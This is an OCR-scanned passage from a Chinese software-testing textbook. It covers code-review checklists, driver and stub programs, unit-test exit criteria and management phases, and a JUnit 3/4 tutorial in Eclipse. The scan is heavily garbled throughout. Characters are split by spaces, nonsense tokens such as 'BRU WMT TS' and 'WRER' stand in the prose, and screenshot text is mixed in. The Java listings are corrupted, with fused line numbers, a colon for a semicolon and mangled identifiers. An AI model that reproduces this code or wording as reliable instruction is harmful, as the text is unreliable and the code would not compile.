。 数组 和 字符 串 的 下 标 是 整数 值 吗 ? 下 标 总 是 在 数组 和 字符 串 大 小 范围 之 内 吗 ? 
。 是 否 在 应 该 使 用 常量 的 地 方 使 用 了 变量 ? 例如 在 检查 数组 范围 时 。 


变量 是 否 被 赋予 了 不 同类 型 的 值 ? 

为 引用 的 指针 分 配 内 存 了 吗 ? 

一 个 数据 结构 是 否 在 多 个 函数 或 者 子 程序 中 引用 ,在 每 一 个 引用 中 明确 定义 了 
结构 了 吗 ? 

. 数据 声明 错误 

所 有 变量 都 赋予 正确 的 长 度 、 类 型 和 存储 类 了 吗 ? 例如 ,在 本 应 声明 为 字符 串 的 
变量 声明 为 字符 数组 了 。 

变量 是 否 在 声明 的 同时 进行 了 初始 化 ? 是 否 正确 初始 化 并 与 其 类 型 一 致 ? 
变量 有 相似 的 名 称 吗 ? 是 否 自 定 义 变量 使 用 了 系统 变量 名 。 

存在 声明 过 ,但 从 未 引用 或 者 只 引用 过 一 次 的 变量 吗 ? 

在 特定 模块 中 所 有 变量 都 显 式 声明 了 吗 ? 如 果 没有 ,是 否 可 以 理解 为 该 变量 与 
更 高 级 别 的 模块 共享 ? 

. 计算 错误 

计算 中 是 否 使 用 了 不 同 数 据 类 型 的 变量 ? 例如 ,将 整数 与 浮 点 数 相 加 。 

计算 中 是 否 使 用 了 不 同 数据 类 型 相同 但 长 度 不 同 的 变量 ? 例如 ,将 字 节 与 字 
相 加 。 

计算 时 是 否 了 解 和 考虑 到 编译 器 对 类 型 和 长 度 不 一 致 的 变量 的 转换 规则 ? 
赋值 的 目的 变量 是 否 小 于 赋值 表达 式 的 值 ? 

在 数值 计算 过 程 中 是 否 可 能 出 现 溢出 ? 

除数 / 模 是 否 可 能 为 零 ? 

对 于 整 型 算术 运算 ,特别 是 除法 的 代码 处 理 是 否 会 丢失 精度 ? 

变量 的 值 是 否 超过 有 意义 的 范围 ? 

对 于 包含 多 个 操作 数 的 表达 式 , 求 值 的 次 序 是 否 混乱 ? 运算 优先 级 对 吗 ? 

。 比较 错误 

比较 得 正确 吗 ? 虽然 听 起 来 容易 ,但 是 比较 中 应 该 是 小 于 还 是 小 于 或 等 于 常常 
发 生 混淆 。 

存在 分 数 或 者 浮 点 值 之 间 的 比较 吗 ? 如 果 有 ,精度 问题 会 影响 比较 吗 ? 

每 一 个 逻辑 表达 式 都 正确 表达 了 吗 ? BRU WMT TS? 求 值 次 序 有 疑 
问 吗 ? 

逻辑 表达 式 的 操作 数 是 座 辑 值 吗 ? 例如 ,是 否 包含 整数 值 的 整 型 变量 用 于 座 辑 
计算 中 ? 

. 入口 和 出 口 的 连接 

初始 入 口 和 最 终 出 口 是 否 正确 ? 

对 另 一 个 模块 的 每 一 次 调用 是 否 恰当 ? 例如 : 全 部 所 需 的 参数 是 否 传送 给 每 一 
个 被 调用 的 模块 ; 被 传送 的 参数 值 是 否 正确 的 设置 ; 对 关键 的 被 调用 模块 的 意 
外 情况 (如 丢失 ,混乱 ) 是 否 处 理 。 

每 个 模块 的 代码 是 否 只 有 一 个 入 口 和 一 个 出 口 ? 


8. 存储 器 的 使 用 

。 每 个 域 ,在 其 第 一 次 被 使 用 前 是 否 正确 初始 化 ? 

。 规定 的 域 正确 否 ? 

。 每 个 域 是 否 有 正确 的 变量 类 型 声明 ? 

9. 控制 流程 错误 

。 如 果 程 序 包含 begin-end 和 do-while 等 语句 组 ,end 是 否 对 应 ? 

。 程序 模块. 子 程序 和 循环 能 否 终止 ? 如 果 不 能 ,可 以 接受 吗 ? 

。 可 能 存在 永远 不 停 的 循环 吗 ? 

。 存在 循环 从 不 执行 吗 ? 如 果 是 这 样 , 可 以 接受 吗 ? 

。 如 果 程 序 包 含 像 switch-case 语句 这 样 的 多 个 分 支 ,索引 变量 能 超出 可 能 的 分 支 
数目 吗 ? 如 果 超 出 ,该 情况 能 正确 处 理 吗 ? 

。 是 否 存 在 “丢掉 一 个 ”错误 ,导致 意外 进入 循环 ? 

。 代码 执行 路 径 是 否 已 全 部 覆盖 ? 是 否 能 保证 每 条 源 代码 语句 至 少 执行 一 次 ? 

10. 子 程 序 参 数 错误 

。 子 程 序 接收 的 参数 类 型 和 大 小 与 调用 代码 发 送 的 匹配 吗 ? 次 序 正 确 吗 ? 

。 如 果子 程序 有 多 个 入 口 点 ,引用 的 参数 是 否 与 当前 入 口 点 没有 关联 ? 

。 常量 当 作 形 式 参数 传递 时 ,是 否 意外 在 子 程序 中 改动 ? 

。 子 程序 是 否 更 改 了 仅 作为 输入 值 的 参数 ? 

。 每 一 个 参数 的 单位 是 否 与 相应 的 形 参 匹 配 ? 

。 如 果 存 在 全 局 变量 ,在 所 有 引用 子 程序 中 是 否 有 相似 的 定义 和 属性 ? 

11. 输入 输出 错误 

。 软件 是 否 严格 遵守 外 部 设备 读 写 数据 的 专用 格式 ? 

。 文件 或 者 外 设 不 存在 或 者 未 准备 好 的 错误 情况 有 处 理 吗 ? 

。 软件 是 否 处 理 外 部 设备 未 连接 .不 可 用 或 者 读 写 过 程 中 存储 空间 占 满 等 情况 ? 

。 软件 以 预期 方式 处 理 预计 的 错误 吗 ? 

。 检查 错误 提示 信息 的 准确 性 、 正 确 性 .语法 和 拼写 了 吗 ? 

12. 逻辑 和 性 能 

。 全 部 设计 已 实现 否 ? 

。 逻辑 被 最 佳 地 编码 否 ? 

。 提供 正式 的 错误 /例外 子 程序 否 ? 

。 每 一 个 循环 执行 正确 的 次 数 否 ? 

13. 维护 性 和 可 靠 性 

。 清单 格式 适 于 提高 可 读 性 否 ? 

。 标号 和 子 程序 符合 代码 的 逻辑 意义 否 ? 

。 对 从 外 部 接口 采集 的 数据 有 确认 否 ? 

。 遵循 可 靠 性 编程 要 求 否 ? 

。 是 否 存 在 内 存 泄漏 的 问题 ? 


5.4 驱动 程序 和 桩 程序 


单元 测试 除了 测试 其 功能 性 之 外 ,还 需 确保 代码 在 结构 上 可 靠 、 健 全 并 且 能 够 有 良好 的 
响应 ,仅仅 进行 静态 测试 是 不 够 的 ,必须 要 运行 单元 ,进行 动态 测试 ,需要 设计 更 充分 的 测试 
用 例 以 验证 业务 逻辑 和 单元 的 实际 表现 行为 。 运 行 被 测试 单元 ,为 了 隔离 单元 ,根据 被 测试 
单元 的 接口 ,开发 相应 的 驱动 程序 (Driver) 和 桩 程序 (Stub) ,如 图 5-2 所 示 。 

。 驱动 程序 (Driver) ,也 称 驱动 模块 ,用 以 模拟 被 测 模块 


的 上 级 模块 ,能 够 调用 被 测 模块 。 在 测试 过 程 中 ,驱动 ital 
模块 接受 测试 数据 ,调用 被 测 模块 并 把 相关 的 数据 伟 i 
送 给 被 测 模块 。 

e BEEF (Stub) ,也 称 桩 模块 ,用 以 模拟 被 测 模块 工作 过 Opa TE 


程 中 所 调用 的 下 层 模 块 。 桩 模块 由 被 测 模块 调用 , 它 
们 一 般 只 进行 很 少 的 数据 处 理 ,例如 打印 人 口 和 返回 ， 图 5 2 单元 测试 中 驱动 程序 
以 便于 检验 被 测 模块 与 其 下 级 模块 的 接口 。 veer 
通过 驱动 程序 和 桩 程序 就 可 以 隔离 被 测 单元 ,而 又 能 使 测试 继续 下 去 。 驱 动 程序 作为 
入 口 , 可 以 设置 不 同 的 数据 参数 ,来 完成 各 种 测试 用 例 。 


示例 : 具有 了 驱动 程序 和 桩 程序 作用 的 小 程序 
公司 正在 进行 一 项 大 型 的 网 络 服 务 系统 的 开发 ,项 目 组 承担 的 是 服务 器 端的 软件 开 
发 。 其 中 有 个 项 目 负责 多 台数 据 库 服务 器 的 数据 复制 。 服 务 系统 是 实时 的 ,对 数据 复制 
的 性 能 要 求 当 然 很 高 。 当 开发 人 员 完 成 了 数据 传输 模块 时 (还 未 编制 和 数据 库 相关 的 模 
块 ) ,就 主动 要 求 我 们 对 其 性 能 进行 单元 测试 。 
进行 这 样 的 性 能 测试 ,我 们 不 需要 详细 了 解 该 单元 的 结构 ,但 首先 要 掌握 设计 文档 
中 相关 的 性 能 指标 和 运行 的 网 络 环境 及 服务 器 环境 等 指标 。 以 便 搭建 相应 的 测试 环境 。 
其 次 ,要 求 开发 人 员 提 供 相应 的 程序 接口 ,测试 人 员 根 据 接口 定义 来 设计 驱动 程序 
和 桩 程序 用 来 运行 并 测试 该 单元 程序 。 为 此 ,我 们 编写 了 一 个 功能 简单 的 小 程序 , 既 作 
为 驱动 程序 也 是 桩 程序 。 该 驱动 程序 在 服务 器 端 运 行 模拟 数据 库 提供 和 接收 需 复 制 的 
数据 , 它 能 够 随机 产生 可 设置 大 小 的 数据 包 , 按 设置 好 的 单位 时 间 发 包 数 量 进行 数据 包 
的 发 送 , 同 时 它 也 是 接受 端 ,能 对 接受 到 的 数据 包 的 数量 和 大 小 进行 简单 的 统计 ,以 便 实 
现 简 单 的 验证 ,如 图 5-3 所 示 。 
驱动 模块 被 测试 单元 L- 驱动 模块 


图 5-3 具有 相 模 块 作用 的 驱动 程序 


接着 就 要 设计 测试 用 例 并 实施 测试 。 设 计 测试 用 例 时 

(1) 根据 指标 考虑 数据 包 的 大 小 和 频率 ,如 大 包 低 频 或 小 包 高 频 ; 
(2) 考虑 两 个 驱动 程序 的 数据 对 发 ; 

(3) 从 两 个 驱动 程序 变 为 多 个 驱动 程序 的 数据 对 发 ; 


(4) 从 同一 网 段 变 为 多 个 网 段 , 验 证 代理 服务 器 或 网 关 造 成 的 影响 。 

发 现 问题 后 ,要 先 排除 网 络 等 环境 因素 ,再 报告 开发 人 员 进 行 调试 。 这 样 确保 了 该 单 
元 不 会 是 该 项 目的 性 能 瓶颈 ,也 避免 了 后 续 开 发 的 盲目 性 。 很 多 参考 书 中 误导 人 们 认为 单 
元 测试 采 用 的 是 白 盒 测试 技术 ,由 开发 人 员 完 成 。 这 很 片面 ,在 有 些 情况 下 是 完全 不 对 的 。 
从 另 一 方面 来 说 ,该 案例 的 测试 工作 也 可 由 开发 者 完成 ,但 在 开发 的 初期 ,测试 人 员 并 没有 
大 的 测试 压力 ,而 开发 者 面临 着 大 量 代码 编写 压力 ,浪费 开发 者 的 时 间 直 接 影响 项 目的 进 
度 ,何况 开发 者 与 测试 者 的 心理 状态 不 同 ,还 可 能 直接 影响 测试 结果 的 可 靠 性 。 


5.5 调试 与 评估 


调试 与 测试 的 对 象 及 采用 的 方法 在 很 大 程度 上 相似 ,调试 还 用 到 断 点 控制 等 排 错 方法 ， 
但 其 目的 却 完 全 不 同 。 测 试 是 为 了 找 出 软件 中 存在 的 缺陷 ,而 调试 是 为 了 解决 存在 的 缺陷 ， 
是 程序 员 的 职责 。 当 程序 员 尝 试 多 种 方法 解决 了 棘手 的 问题 时 ,会 有 满足 感 ,许多 程序 员 乐 
在 其 中 。 

何 时 可 以 结束 单元 测试 ? 测试 是 否 充分 足够 ? 如何 评 估 测 试 的 结果 ? 每 个 项 目 都 有 自 
己 的 特性 和 特殊 需求 ,但 通常 除了 代码 的 标准 和 规范 ,单元 测试 中 主要 考虑 的 是 对 结构 的 测 
试 和 测试 用 例 的 覆盖 率 。 在 某 种 意义 上 说 测试 用 例 设计 得 好 坏 决定 了 测试 结果 的 好 坏 。 下 
面 我 们 给 出 是 否 通过 单元 测试 的 一 般 准 则 。 

(1) 软件 单元 功能 与 设计 需求 一 致 。 

(2) 软件 单元 接口 与 设计 需求 一 致 。 

(3) 能 够 正确 处 理 输 入 和 运行 中 的 错误 。 

(4) 在 单元 测试 中 发 现 的 错误 已 经 得 到 修改 并 且 通 过 了 测试 。 

(5) 达到 了 相关 的 覆盖 率 的 要 求 。 

(6) 完成 软件 单元 测试 报告 。 

有 时 ,也 会 借助 (单元 测试 检查 表 ) 对 单元 测试 进行 评估 。 以 下 提供 一 案例 , 仅 供 读者 


示例 : 单元 测试 检查 表 
单元 名 称 系统 构造 
任务 编号 初次 测试 日 期 
关键 测试 项 是 否 已 纠正 
1. 有 无 任何 输入 参数 没有 使 用 ? 有 无 任何 输出 参数 没有 产生 ? 
2. 有 无 任何 数据 类 型 不 正确 或 不 一 致 ? 
3. 有 无 任何 算法 与 PDL 或 功能 需求 中 的 描述 不 一 致 ? 
4. 有 无 任何 局 部 变量 使 用 前 没有 初始 化 ? 
5. 有 无 任何 外 部 接口 编码 错误 ? 即 调用 语句 、 文 件 存 取 、 数 据 库 错误 。 
6. 有 无 任何 逻辑 路 径 错误 ? 


7. 该 单元 是 否 有 多 个 入 口 或 多 个 正常 的 出 口 ? 

额外 测试 项 

8. 该 单元 中 有 任何 地 方 与 PDL 与 PROLOG 中 的 描述 不 一 致 ? 

9. 代码 中 有 无 任何 偏离 本 项 目标 准 的 地 方 ? 

10. 代码 中 有 无 任何 对 于 用 户 来 说 不 清楚 的 错误 提示 信息 ? 

11. 如 果 该 单元 是 设计 为 可 重用 的 ,代码 中 是 否 有 可 能 妨碍 重用 的 地 方 ? 

采取 的 动作 和 说 明 : 

(请 用 单独 的 一 页 或 多 页 。 每 一 项 动作 必须 指出 所 引用 的 问题 。) 

审查 结果 

1. WRER 11 个 问题 的 答案 均 为 “ 否 ”, 那 么 测试 通过 ,请 在 此 标记 并 且 在 最 后 
签名 。 

2. 如 果 代 码 存在 严重 的 问题 ,例如 多 个 关键 问题 的 答案 为 是”, 那么 程序 编制 者 纠 
正 这 些 错误 ,并 且 必 须 重 新 安排 一 次 单元 测试 。 

下 一 次 单元 测试 的 日 期 : 

3. 如 果 代 码 存在 小 的 缺陷 ,那么 程序 编制 者 纠正 这 些 错误 ,并 且 仲 裁 者 必须 安排 一 
次 跟踪 会 议 。 

跟踪 会 议 的 日 期 : 

测试 人 签名 : 日 期 ; 


5.6 单元 测试 的 管理 


在 单元 测试 的 各 个 过 程 中 ,必须 遵守 一 定 的 规则 ,以 一 些 设计 文档 等 为 依据 ,并 产生 报 
告 分析 文档 等 。 做 好 文档 管理 也 有 利于 经 验 的 总 结 、 团 队 的 建设 。 下 面 就 将 文档 管理 与 单 
元 测试 过 程 管理 结合 起 来 ,进行 病 述 。 

1. 计划 阶段 

在 软件 详细 设计 阶段 完成 。 制 定单 元 测试 计划 的 主要 依据 是 (软件 需求 规格 说 明 书 》、 
《软件 详细 设计 说 明 书 》, 同 时 要 参考 并 符合 软件 的 整体 测试 计划 和 集成 方案 。 这 一 阶段 完 
成 时 输出 《单元 测试 计划 》。 单 元 测试 计划 的 主要 内 容 包括 测试 时 间 表 ,资源 分 配 使 用 表 、 测 
试 的 基本 策略 和 方法 。 例 如 是 否 需要 执行 静态 测试 ,是否 需要 测试 工具 .是否 需要 编制 驱动 
程序 和 桩 程序 等 。 

单元 测试 计划 完成 后 ,并 不 是 立刻 进行 单元 测试 ,代码 可 能 还 未 完成 ,在 代码 编制 时 软 
件 详细 设计 文档 经 常 容易 发 生变 化 。 所 以 要 对 需求 变化 进行 跟踪 ,及 时 更 新 (单元 测试 计 
划 》, 并 对 其 进行 评审 。 精 心 制定 和 严格 评审 是 整个 单元 测试 的 基础 ,而 及 时 更 新 也 有 利于 
后 续 各 个 阶段 的 顺利 进行 。 

2. 设计 阶段 


《单元 测试 计划 》 提 交 后 进入 设计 阶段 ,设计 阶段 的 主要 任务 是 单元 测试 用 例 的 设计 编 
写 、 驱 动 程序 和 桩 程序 的 设计 及 代码 编制 ,单元 测试 用 例 是 测试 效率 和 质量 的 重要 保证 。 该 


阶段 进行 的 主要 依据 是 《单元 测试 计划 》《 软 件 详细 设计 说 明 书 》。 测 试用 例 完 成 后 生成 ( 单 
元 测试 用 例 ) 文 档 ,在 许多 大 型 软件 公司 对 测试 用 例 运 用 数据 库 进行 管理 ,将 测试 用 例 添加 
至 数据 库 即 可 。 测 试用 例 在 执行 阶段 也 要 不 断 地 完善 和 更 新 。 

3. 执行 阶段 

单元 测试 执行 依据 需求 定义 《程序 详细 设计 说 明 书 ) 完 成 单元 测试 用 例 的 执行 。 对 测 
试 中 发 现 的 错误 或 缺陷 进行 记录 ,生成 《缺陷 跟踪 报告 )。 将 该 报告 反馈 给 开发 人 员 , 及 时 
修改 。 

如 果 需 进行 静态 测试 ,还 要 用 到 相应 的 标准 和 规范 文档 ,制定 (代码 审查 检查 表 》。 严 格 
地 执行 (单元 测试 计划 ) 是 整个 单元 测试 的 核心 ,也 是 保证 质量 的 根本 。 

4. 评估 阶段 

包括 测试 完备 性 评估 和 代码 覆盖 率 评估 。 进 行 评 估 的 依据 是 《单元 测试 用 例 》《 缺 陷 跟 
踪 报 告 ) 等 。 有 时 ,也 会 借助 (单元 测试 检查 表 ) 来 对 单元 测试 进行 评估 。 评 估 的 目的 是 帮助 
我 们 判定 单元 测试 是 否 足够 ,对 该 单元 的 质量 给 以 评价 。 

5. 提交 阶段 

通过 单元 测试 的 评估 ,正式 填写 并 提交 《单元 测试 报告 》。 


5.7 单元 测试 工具 


单元 测试 一 般 采 用 白 盒 测试 方法 ,针对 程序 内 部 的 实现 来 完成 测试 ,这 决定 了 其 测试 工 
具 和 特定 的 语言 密切 相关 ,所 以 单元 测试 工具 基本 是 针对 不 同 的 语言 有 项 对 应 的 版 本 ,多 数 
集成 开发 环境 (如 Microsoft Visual Studio, Eclipse) 会 提供 单元 测试 工具 ,甚至 提供 测试 驱 
动 开发 方法 所 需要 的 环境 。 最 典型 的 就 是 xUnit 工具 家 族 : 

。JUnit 是 针对 Java 的 单元 测试 工具 。 

。 CppUnit 是 C++ 单元 测试 工具 。 

。 NUnit 是 CE (. Net) 单 元 测试 工具 。 

。 HtmlUnit.JsUnit,PhpUnit,PerlUnit, XmlUnit 则 分 别 是 针对 HTML JavaScript, 

PHP, Perl, XML 的 单元 测试 工具 (框架 ) 。 

除了 上 述 典 型 的 xUnit 单元 测试 框架 之 外 ,还 有 GoogleTest 单元 测试 框架 (http:// 
code. google. com/p/googletest/), 它 是 基于 xUnit 架构 的 测试 框架 ,在 不 同 平台 上 (Linux， 
Mac OS X,Windows,Cygwin, Windows CE 和 Symbian) 为 编写 C++ 测 试 而 生成 的 ,支持 自 
动 发 现 测试 丰富 的 断言 集 、 用 户 定义 的 断言 、death 测试 、 致 命 与 非 致 命 的 失败 、 类 型 参数 
化 测试 .各 类 运行 测试 的 选项 和 XML 的 测试 报告 等 。 


5.7.1 JUnit 介绍 


JUnit 是 一 个 开放 源 代码 的 Java 测试 框架 ,用 在 编写 和 运行 可 重复 的 测试 脚本 之 上 。 
它 是 单元 测试 框架 体系 xUnit 的 一 个 实例 。JUnit 框架 功能 强大 ,目前 已 成 为 Java 单元 测 
试 的 事实 标准 ,如 果 与 Mock 对 象 .HttpUnit、DBUnit 等 配合 使 用 ,基本 上 能 满足 日 常 的 测 
试 要 求 。JUnit 主要 特性 有 : 


可 以 使 测试 代码 与 产品 代码 分 开 , 这 更 有 利于 代码 的 打包 发 布 和 测试 代码 的 管理 。 
针对 某 一 个 类 的 测试 代码 ,以 较 少 的 改动 便 可 以 应 用 另 一 个 类 的 测试 ,JUnit 提供 了 
一 个 编写 测试 类 的 框架 ,使 测试 代码 的 编写 更 加 方便 。 

易于 集成 到 程序 中 的 构建 过 程 中 ,JUnit 和 Ant 的 结合 还 可 以 实施 增 量 开发 。 

JUnit 的 源 代码 是 公开 的 ,故而 可 以 进行 二 次 开发 。 

JUnit 具有 很 强 的 扩展 性 ,可 以 方便 地 对 JUnit 进行 扩展 。 

JUnit 一 共有 7 个 包 , 如 图 5-4 所 示 , 其 核心 的 包 是 junit. framework 和 junit. runner. 
framework 包 负责 整个 测试 对 象 的 构建 ,runner 负责 测试 驱动 ,JUnit 有 4 个 重要 的 类 ,分 
别 是 TestSuite ,TestCase ,TestResult 和 TestRunner 。 另 外 ,JUnit 还 包括 Test 和 TestListener 
接口 和 Assert 类 。 
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图 5-4 JUnit 的 7 个 核心 类 之 间 的 关系 图 


。 Assert 类 用 来 验证 条 件 是 否 成 立 , 当 条 件 成 立时 ,assert 方法 保持 沉默 , 若 条 件 不 成 
立时 就 抛 出 异常 。 

Test 接口 用 来 测试 和 收集 测试 的 结果 ,Test 接口 采用 了 Composite 设计 模式 , 它 是 
单独 的 测试 用 例 ,聚合 的 测试 模式 以 及 测试 扩展 的 共同 接口 。 

TestCase 抽象 类 用 来 定义 测试 中 的 固定 方法 ,TestCase 是 Test 接口 的 抽象 实现 ， 
由 于 TestCase 是 一 个 抽象 类 ,因此 不 能 被 实例 化 ,只 能 被 继承 。 其 构造 函数 可 以 根 
据 输入 的 测试 名 称 来 创建 一 个 测试 用 例 ,提供 测试 名 的 目的 在 于 方便 测试 失败 时 查 
找 失败 的 测试 用 例 。 


。 TestSuite 是 由 几 个 TestCase 或 其 他 的 TestSuite 构成 的 。 你 可 以 很 容易 地 构成 一 
个 树 形 测试 ,每 个 测试 都 由 持 有 另外 一 些 测试 的 TestSuite 来 构成 。 被 加 入 到 
TestSuite 中 的 测试 在 一 个 线程 上 依次 被 执行 。 
。 TestResult 负责 收集 TestCase 所 执行 的 结果 , 它 将 结果 分 类 ,分 为 客户 可 预测 的 错 
误 和 没有 预测 的 错误 , 它 还 将 测试 结果 转发 到 TestListener 处 理 。 
。 TestRunner 是 客户 对 象 调用 的 起 点 , 它 负 责 整个 测试 过 程 进行 跟踪 。 它 能 够 显示 
测试 结果 ,并 且 报 告 测 试 的 进度 。 
。 TestListener 包含 4 个 方法 : addError(),addFailure(),startTest() 和 endTest()。 
它 是 对 测试 结果 的 处 理 和 对 测试 驱动 过 程 的 工作 特征 进行 提取 。 
JUnit 4 是 配合 JDK 1.5 版 本 的 ,与 之 对 应 的 Ant 需要 在 1. 7 版 本 以 上 运行 ,与 JUnit 
3.x 相 比 ,JUnit 4 有 如 下 新 的 改动 。 
CL) JUnit 原 使 用 命名 约定 和 反射 机 制 来 定位 测试 ,而 在 JUnit 4 中 ,测试 是 由 @Test 
注释 来 识别 的 ,如 图 5-5 所 示 。 
6 import org.junit.Test; 
6 import junit.framework.TestCase; 
69 public class AdditionTest extends TestCase { 


private int x = 1; 
private int y = 1; 


30 @Test public void testAddition() { 
4 int z = x + y; 
assertEquals (2, z); 


图 5-5 @Test 注释 举例 


第 73 行 的 @Test, 代 表 要 测试 此 方法 。 

(2) JUnit 3. x 在 运行 (test runner) 每 个 测试 之 前 自动 调用 setUp() 方法 。 该 方法 一 
般 会 初始 化 字段 .打开 日 志 记 录 、 重 置 环境 变量 等 。 在 JUnit 4 中 ,不 再 需要 使 用 setUp()， 
而 是 用 @Before 注释 来 指示 即 可 。 

(3) JUnit 3. x 测试 之 后 调用 tearDown() 方 法 ,在 JUnit 4 中 使 用 @After 注释 来 指示 。 

(4) JUnit 4 中 不 再 需要 在 超 类 中 显 式 调用 初始 化 和 清除 方法 ,只 要 它们 不 被 覆盖 即 
可 ,测试 运行 程序 将 根据 需要 自动 调用 这 些 方法 。 超 类 中 的 @Before 方法 在 子 类 中 的 
@Before 方法 之 前 被 调用 (这 反映 了 构造 函数 调用 的 顺序 )。@ After 方法 以 反方 向 运行 ， 
子 类 中 的 方法 在 超 类 中 的 方法 之 前 被 调用 。 

(5) JUnit 4 引入 了 另外 一 个 新 特性 : 类 范围 的 setUp() 和 tearDown() 方法 。 任 何 用 
@BeforeClass 注释 的 方法 都 将 在 该 类 中 的 测试 方法 运行 之 前 刚好 运行 一 次 ,而 任何 用 
@AfterClass 注释 的 方法 都 将 在 该 类 中 的 所 有 测试 都 运行 之 后 刚好 运行 一 次 。 


5.7.2 在 Eclipse 中 JUnit 应 用 举例 
JUnit 软件 包 可 从 http://www. junit. org/ 下 载 , 并 作为 一 个 Java 的 扩展 库 在 Eclipse 


中 安装 。 如 图 5-6 所 示 ,在 Eclipse 菜单“ 项目 (project)” 的 子 项 “属性 (properties)” 中 选择 
“Java 构建 路 径 (Java Build Path)”, 单 击 “ 库 (Libraries)” 标 签 , 添 加 外 部 JAR(Add External 
JARs) , 即 选 择 junit. jar 或 junit-4.7.jar, 单 击 打 开 , 就 完成 了 JUnit 的 安装 。 


type Filter text 


Resource — 一 一 = = 
BeanInfo Path Sor ro So Order and Export 


JARs and class fo 
国 WA JRE Systen Library [jrel.6.0_03] ] Add JARs, 


Add External JARs, 


Javadoc Location | Add Vorioble. 
Project References | = 
Refactoring History | rr 
Run/Debug Settings | 
Server | Add Class Folder. 

S Task Repository | 


| (Aad External Class Folder 


Bait 


图 5-6 在 Eclipse 中 安装 外 部 Java 应 用 包 的 界面 


Java 中 工具 类 (Util) 的 功能 相对 单纯 与 简单 ,一 般 不 涉及 复杂 的 业务 逻辑 ,如 求 一 个 数 
的 最 大 公约 数 .数值 转换 .字符 串 简 单 操作 、 拼 URL 等 。 这 里 以 Junit 3. 8 为 例 讲 解 如 何 进 
行 单元 测试 。 

1, 建立 一 个 被 JUnit 测试 的 类 

为 了 便于 讲解 ,这 里 以 一 个 简单 的 String Util. java 的 工具 类 作为 被 测试 的 类 , 它 就 是 将 
两 个 传人 的 字符 串 连接 在 一 起 ,程序 代码 如 图 5-7 所 示 。 

2 public class StringUtil { 
4 < 功能: 对 传 入 的 两 个 字符 串 进 行 连接 
: 一 个 传 入 的 字符 串 
个 串 


* BK: we 


public String addString(String stri, String str2) { 
return strl + str2; 
$ 


图 5-7 一 个 被 JUnit 测试 的 类 


2, 建立 其 对 应 的 JUnit Test 类 
在 需要 建立 JUnit 的 包 内 右 击 鼠标 ,选择 New—>JUnit Test Case, 然 后 在 弹出 的 对 话 
框 中 进行 如 下 设置 ; 
。 Package: 类 文件 所 在 的 包 , 因 为 本 例 为 default package, 所 以 就 没有 出 现 相 应 的 包 
路 径 。 
。 Name: 新 建 的 测试 类 名 称 ,一 般 命名 规则 是 Test 十 测试 的 类 名 , 即 TestStringUtil。 
e Class under test: 需要 针对 哪个 类 进行 测试 ,这 里 就 是 StringUtil。 


设置 好 后 , 单 击 Next 按钮 ,选择 对 该 类 中 的 哪些 方法 进行 测试 。 因 为 本 例 中 只 有 一 个 
addString 方法 ,所 以 就 选择 它 。 单 击 Finish 按钮 后 ,就 会 自动 生成 如 图 5-8 所 示 的 代码 ; 


import junit.framework.TestCase; 
public class TestStringUtil extends TestCase { 
二 public TestStringUtil(String name) { 

super (name) ; 


BON PP 


} 
protected void setUp() throws Exception { 
super.setUp(); 


J mm 
T 


} 
protected void tearDown() throws Exception { 
super.tearDown (); 


Owm 
I 


人 


} 
S public void testAddString() { 
fail("Not yet implemented"); 


+ 
Ob wN 


} 


图 5-8 生成 的 代码 


3. 针对 自动 生成 的 代码 ,进行 补充 修改 ,使 其 满足 对 特定 功能 的 测试 
本 例 中 注释 掉 testAddString 方法 中 自动 生成 的 fail("Not yet implemented") ;语句 ,加 
上 需要 测试 的 内 容 ,如 图 5-9 所 示 。 


1 import junit.framework.TestCase; 
2 public class TestStringUtil extends TestCase { 


39 public TestStringUtil (String name) { 

4 super (name) ; 

5 } 

6 已 protected void setUp() throws Exception { 

7 super.setUp(); 

8 } 

9 protected void tearDown() throws Exception { 
10 super.tearDown(); 

11 } 

126 public void testAddString() { 

13 //fail("Not yet implemented"); 
14 StringUtil a = new StringUtil(): 
15 assertEquals("aabb", a.addString("aa", "bb")); 
16 } 
17 } 


图 5-9 对 自动 生成 的 代码 进行 修改 


4. 执行 测试 

Hit TestStringUtil, 选 择 Run As—>JUnit Test。 如 果 正 确 会 出 现 绿色 的 成 功 条 , 代 
表 这 个 测试 案例 能 正常 工作 ,如 图 5-10 所 示 。 

如 果 失 败 会 出 现 红色 的 失败 条 ,并 会 出 现 错误 的 原因 和 数 日 。 例 如 ,将 assertEquals 
("aabb" ,a. addString("aa","bb")); BON: assertEquals("cc",a. addString("aa","bb")); 
两 个 字符 串 aa 与 bb 的 连接 ,不 可 能 等 于 cc 的 ,修改 后 再 运行 一 下 ,会 出 现 错误 ,如 图 5-11 
所 示 。 
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Runs: 1/1 B Failures: 0 
一 
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= Failure Trace 


= | stringutiljava 


| D Teststringutiljava 


mport junit.framework.TestCase; 


public class TestStringUtil extends TestCase { 


public TestStringUtil (String name) { 
super (name) ; 

} 

protected void setUp() throws Exception { 
super. setUp(); 

+ 

protected void tearDown() throws Exception { 
super. tearDown() ; 

} 

public void testAddString() { 
/{faii ("Not yet implemented"); 
StringUtil a = new StringUtil(); 


assertEquals("aabb", a.addString("aa", "bb")); 


图 5-10 JUnit Test Case 测试 正确 图 样 
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public class TestStringUtil extends TestCase { 
Runs: 1/1 B Errors: 0 B Failures: 1 public TestStringUtil (String name) { 
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= Failure Trace 
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19 junit.framework.ComparisonFailure: expected:<cc> but was:<aabb> 
= at TestStringutiltestAddstring(TestStringUtiljava:15) 


图 5-11 


从 上 面 可 以 看 出 一 个 错误 (Failures:1)， 


super (name) ; 

} 

protected void setUp() throws Exception { 
super. setUp(); 

} 

protected void tearDown() throws Exception { 
super.tearDown(); 

} 

public void testAddstring() { 
/fail ("No implemented"); 
StringUtil a = new StringUtil(); 
assertEquals("cc", a.addString("aa", 


"bb")); 


JUnit Test Case 测试 出 错 图 样 


失败 的 原因 在 FailureTrace 下 面 有 显示 : 


junit. framework. ComparisonFailure: expected:<cc> but was:< aabb> 
at TestStringUtil. testAddString(TestStringUtil. java:15) 


说 明 在 TestString Util 的 第 15 行 出 错 , 期 望 值 cc 与 实际 结果 为 aabb 不 符 , 出 错 。 


5.7.3 JUnit + Ant 构建 自动 的 


单元 测试 


Ant (Another Neat Tool) 是 一 种 基于 Java 的 build 工具 。 理 论 上 来 说 , 它 有 些 类 似 于 


(UNIX)C 中 的 make, 与 基于 shell 命令 的 扩 


必 编 写 shell 命令 ,配置 文件 是 基于 XML 的 ， 


展 模式 不 同 ,Ant 用 Java 的 类 来 扩展 。 用 户 不 
通过 调用 target 树 ,就 可 执行 各 种 task。 每 个 


